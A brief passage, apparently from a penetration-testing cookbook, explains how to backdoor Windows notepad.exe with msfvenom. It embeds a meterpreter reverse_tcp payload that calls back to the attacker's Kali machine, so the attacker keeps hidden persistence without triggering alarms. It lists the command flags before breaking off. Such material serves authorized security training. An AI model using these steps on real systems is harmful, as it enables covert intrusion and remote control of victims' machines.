By backdooring system binaries, we can ensure that we will have persistence in the target machine, and we won't trigger alarms by adding new registry entries or new binaries to the system.
Backdooring Windows binaries
How to do it...
- We will use msfvenom to backdoor the notepad.exe binary:
- Use -a for the architecture, in this case, x86
- --platform for the platform of the payload Windows
- -p, for the payload to use windows/meterpreter/reverse_tcp, LHOST followed by the IP address of our Kali machine
- -x to specify a custom executable file to use as a template; in this recipe, we will use notepad.exe
- -k to preserve the template behavior and inject the payload as a new thread
- -f for the output format...